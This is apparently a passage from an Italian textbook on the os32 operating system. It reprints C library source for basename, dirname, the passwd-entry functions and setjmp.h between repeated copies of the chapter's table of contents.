120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579

120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653

120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699

120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818

120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.8.1 lib/libgen/basename.c

Si veda la sezione 113.10.

```
2710001 #include <libgen.h>
2710002 #include <limits.h>
2710003 #include <stddef.h>
2710004 #include <string.h>
2710005 //----------------------------------------------------------------------
2710006 char *
2710007 basename (char *path)
2710008 {
2710009     static char  *point = ".";          // When `path' is NULL.
2710010            char  *p;                    // Pointer inside `path'.
2710011            int    i;                    // Scan index inside `path'.
2710012     //
2710013     // Empty path.
2710014     //
2710015     if (path == NULL || strlen (path) == 0)
2710016       {
2710017         return (point);
2710018       }
2710019     //
2710020     // Remove all final `/' if it exists, excluded the first character:
2710021     // `i' is kept greater than zero.
2710022     //
2710023     for (i = (strlen (path) - 1); i > 0 && path[i] == '/'; i--)
2710024       {
2710025         path[i] = 0;
2710026       }
```

```
2710027     //
2710028     // After removal of extra final '/', if there is only one '/', this
2710029     // is to be returned.
2710030     //
2710031     if (strncmp (path, "/",  PATH_MAX) == 0)
2710032       {
2710033         return (path);
2710034       }
2710035     //
2710036     // If there are no '/'.
2710037     //
2710038     if (strchr (path, '/') == NULL)
2710039       {
2710040         return (path);
2710041       }
2710042     //
2710043     // Find the last '/' and calculate a pointer to the base name.
2710044     //
2710045     p = strrchr (path, (unsigned int) '/');
2710046     p++;
2710047     //
2710048     // Return the pointer to the base name.
2710049     //
2710050     return (p);
2710051 }
```

120.8.2 lib/libgen/dirname.c

Si veda la sezione 113.10.

```
2720001 #include <libgen.h>
2720002 #include <limits.h>
2720003 #include <stddef.h>
2720004 #include <string.h>
2720005 //----------------------------------------------------------------------
2720006 char *
2720007 dirname (char *path)
2720008 {
2720009     static char  *point = ".";          // When 'path' is NULL.
2720010            char  *p;                    // Pointer inside 'path'.
2720011            int    i;                    // Scan index inside 'path'.
2720012     //
2720013     // Empty path.
2720014     //
2720015     if      (path == NULL || strlen (path) == 0)
2720016       {
2720017         return (point);
2720018       }
2720019     //
2720020     // Simple cases.
2720021     //
```

```
2720022     if (strncmp (path, "/",  PATH_MAX) == 0  ||
2720023         strncmp (path, ".",  PATH_MAX) == 0  ||
2720024         strncmp (path, "..", PATH_MAX) == 0)
2720025       {
2720026         return (path);
2720027       }
2720028     //
2720029     // Remove all final '/' if it exists, excluded the first character:
2720030     // 'i' is kept greater than zero.
2720031     //
2720032     for (i = (strlen (path) - 1); i > 0 && path[i] == '/'; i--)
2720033       {
2720034         path[i] = 0;
2720035       }
2720036     //
2720037     // After removal of extra final '/', if there is only one '/', this
2720038     // is to be returned.
2720039     //
2720040     if (strncmp (path, "/",  PATH_MAX) == 0)
2720041       {
2720042         return (path);
2720043       }
2720044     //
2720045     // If there are no '/'
2720046     //
2720047     if (strchr (path, '/') == NULL)
2720048       {
2720049         return (point);
2720050       }
2720051     //
2720052     // If there is only a '/' a the beginning.
2720053     //
2720054     if (path[0] == '/'                                    &&
2720055         strchr (&path[1], (unsigned int) '/') == NULL)
2720056       {
2720057         path[1] = 0;
2720058         return (path);
2720059       }
2720060     //
2720061     // Replace the last '/' with zero.
2720062     //
2720063      p = strrchr (path, (unsigned int) '/');
2720064     *p = 0;
2720065     //
2720066     // Now remove extra duplicated final '/', except the very first
2720067     // character: 'i' is kept greater than zero.
2720068     //
2720069     for (i = (strlen (path) - 1); i > 0 && path[i] == '/'; i--)
2720070       {
2720071         path[i] = 0;
2720072       }
2720073     //
```

```
2720074      // Now 'path' appears as a reduced string: the original path string
2720075      // is modified.
2720076      //
2720077      return (path);
2720078  }
```

120.9 os32: «lib/pwd.h»

Si veda la sezione 116.2.

```
2730001  #ifndef _PWD_H
2730002  #define _PWD_H        1
2730003  //----------------------------------------------------------------------
2730004  #include <restrict.h>
2730005  #include <sys/types.h>          // gid_t, uid_t
2730006  //----------------------------------------------------------------------
2730007  struct passwd {
2730008      char   *pw_name;
2730009      char   *pw_passwd;
2730010      uid_t  pw_uid;
2730011      gid_t  pw_gid;
2730012      char   *pw_gecos;
2730013      char   *pw_dir;
2730014      char   *pw_shell;
2730015  };
2730016  //----------------------------------------------------------------------
2730017  struct passwd *getpwent (void);
2730018  void           setpwent (void);
2730019  void           endpwent (void);
2730020  struct passwd *getpwnam (const char *name);
2730021  struct passwd *getpwuid (uid_t uid);
2730022  //----------------------------------------------------------------------
2730023
2730024  #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461

120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550
120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558
120.11 os32: «lib/signal.h» 7559
120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568
120.12 os32: «lib/stdio.h» 7568
120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592

120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679

120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743

120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803

120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.9.1 lib/pwd/pwent.c

«

Si veda la sezione 113.56.

```
2740001 #include <pwd.h>
2740002 #include <stdio.h>
2740003 #include <string.h>
2740004 #include <stdlib.h>
2740005 //----------------------------------------------------------------------
2740006 static char          buffer[BUFSIZ];
2740007 static struct passwd pw;
2740008 static FILE         *fp = NULL;
2740009 //----------------------------------------------------------------------
2740010 struct passwd *
2740011 getpwent (void)
2740012 {
2740013     void *pstatus;
2740014     char *char_uid;
2740015     char *char_gid;
2740016     //
2740017     if (fp == NULL)
2740018       {
2740019         fp = fopen ("/etc/passwd", "r");
2740020         if (fp == NULL)
2740021           {
2740022             return NULL;
2740023           }
2740024       }
2740025     //
2740026     pstatus = fgets (buffer, BUFSIZ, fp);
2740027     if (pstatus == NULL)
2740028       {
2740029         return (NULL);
2740030       }
2740031     //
2740032     // The parse is made with `strtok()'. Please notice that
2740033     // `strtok()' will not parse a line like the following:
2740034     //   user::1001:233:...
2740035     // The password field *must* have something, otherwise the
2740036     // UID will take the password place.
2740037     // `strtok()' will consider `::' the same as `:'!
2740038     //
2740039     pw.pw_name   = strtok (buffer, ":");
2740040     pw.pw_passwd = strtok (NULL, ":");
2740041     char_uid     = strtok (NULL, ":");
2740042     char_gid     = strtok (NULL, ":");
2740043     pw.pw_gecos  = strtok (NULL, ":");
2740044     pw.pw_dir    = strtok (NULL, ":");
2740045     pw.pw_shell  = strtok (NULL, "\n");
2740046     pw.pw_uid    = (uid_t) atoi (char_uid);
2740047     pw.pw_gid    = (gid_t) atoi (char_gid);
2740048     //
2740049     return (&pw);
```

```
2740050 }
2740051 //----------------------------------------------------------------------
2740052 void
2740053 endpwent (void)
2740054 {
2740055     int status;
2740056     //
2740057     if (fp != NULL)
2740058       {
2740059         status = fclose (fp);
2740060         if (status != 0)
2740061           {
2740062             perror (NULL);
2740063             fp = NULL;
2740064           }
2740065         else
2740066           {
2740067             ; //printf ("[%s] fclose (fp)\n", __func__);
2740068           }
2740069       }
2740070 }
2740071 //----------------------------------------------------------------------
2740072 void
2740073 setpwent (void)
2740074 {
2740075     if (fp != NULL)
2740076       {
2740077         rewind (fp);
2740078       }
2740079 }
2740080 //----------------------------------------------------------------------
2740081 struct passwd *
2740082 getpwnam (const char *name)
2740083 {
2740084     struct passwd *pw;
2740085     //
2740086     setpwent ();
2740087     //
2740088     for (;;)
2740089       {
2740090         pw = getpwent ();
2740091         if (pw == NULL)
2740092           {
2740093             return (NULL);
2740094           }
2740095         if (strcmp (pw->pw_name, name) == 0)
2740096           {
2740097             return (pw);
2740098           }
2740099       }
2740100 }
2740101 //----------------------------------------------------------------------
```

```
2740102 struct passwd *
2740103 getpwuid (uid_t uid)
2740104 {
2740105     struct passwd *pw;
2740106     //
2740107     setpwent ();
2740108     //
2740109     for (;;)
2740110       {
2740111         pw = getpwent ();
2740112         if (pw == NULL)
2740113           {
2740114             return (NULL);
2740115           }
2740116         if (pw->pw_uid == uid)
2740117           {
2740118             return (pw);
2740119           }
2740120       }
2740121 }
```

120.10 os32: «lib/setjmp.h»

Si veda la sezione 112.40.

```
2750001 #ifndef _SETJMP_H
2750002 #define _SETJMP_H       1
2750003 //----------------------------------------------------------------------
2750004 #include <sys/os32.h>
2750005 #include <NULL.h>
2750006 //----------------------------------------------------------------------
2750007 typedef struct {
2750008     uint32_t     eax0;
2750009     uint32_t     ecx0;
2750010     uint32_t     edx0;
2750011     uint32_t     ebx0;
2750012     uint32_t     ebp0;
2750013     uint32_t     esi0;
2750014     uint32_t     edi0;
2750015     uint32_t     ds0;
2750016     uint32_t     es0;
2750017     uint32_t     fs0;
2750018     uint32_t     gs0;
2750019     uint32_t     eip0;
2750020     uint32_t     cs0;
2750021     uint32_t     eflags0;
2750022     //
2750023     uint32_t     eip1;
2750024     uint32_t     syscallnr;
2750025     uint32_t     msg_pointer;
2750026     uint32_t     msg_size;
```

```
2750027     //
2750028     uint32_t     env;
2750029     uint32_t     ret;
2750030     uint32_t     ebp1;
2750031     uint32_t     eip2;
2750032     //
2750033 } jmp_stack_t;
2750034
2750035 typedef struct {
2750036     uint32_t     esp0;
2750037     uint32_t     eax0;
2750038     uint32_t     ecx0;
2750039     uint32_t     edx0;
2750040     uint32_t     ebx0;
2750041     uint32_t     ebp0;
2750042     uint32_t     esi0;
2750043     uint32_t     edi0;
2750044     uint32_t     ds0;
2750045     uint32_t     es0;
2750046     uint32_t     fs0;
2750047     uint32_t     gs0;
2750048     uint32_t     eip0;
2750049     uint32_t     cs0;
2750050     uint32_t     eflags0;
2750051     //
2750052     uint32_t     eip1;
2750053     uint32_t     syscallnr;
2750054     uint32_t     msg_pointer;
2750055     uint32_t     msg_size;
2750056     //
2750057     uint32_t     env;
2750058     uint32_t     ret;
2750059     uint32_t     ebp1;
2750060     uint32_t     eip2;
2750061     //
2750062 } jmp_env_t;
2750063 //
2750064 typedef char jmp_buf[sizeof (jmp_env_t)];
2750065 //----------------------------------------------------------------------
2750066 int setjmp (jmp_buf env);
2750067 void longjmp (jmp_buf env, int val);
2750068 //----------------------------------------------------------------------
2750069 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457

120.1.2 lib/SEEK.h 7457

120.1.3 lib/assert.h 7457

120.1.4 lib/clock_t.h 7458

120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
